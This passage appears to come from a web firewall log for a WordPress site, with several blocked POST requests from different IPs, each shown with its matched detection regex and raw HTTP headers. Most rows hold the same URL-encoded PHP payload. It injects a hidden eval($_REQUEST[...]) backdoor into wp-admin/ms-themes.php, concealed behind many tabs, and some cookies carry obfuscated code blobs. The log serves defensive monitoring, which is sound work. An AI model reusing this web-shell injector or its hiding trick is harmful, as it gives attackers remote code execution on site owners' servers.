3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-user:?1\ncontent-length:2025\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nGy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:50:50","103.145.5.35","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ll:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoTjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-user:?1\ncontent-length:2025\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nll=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:52:43","95.216.28.151","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-user:?1\ncontent-length:2025\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nqj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:52:49","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnStvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-user:?1\ncontent-length:2025\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nhX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:52:59","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-length:2048\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:53:24","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIz8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-user:?1\ncontent-length:2025\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nVo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%2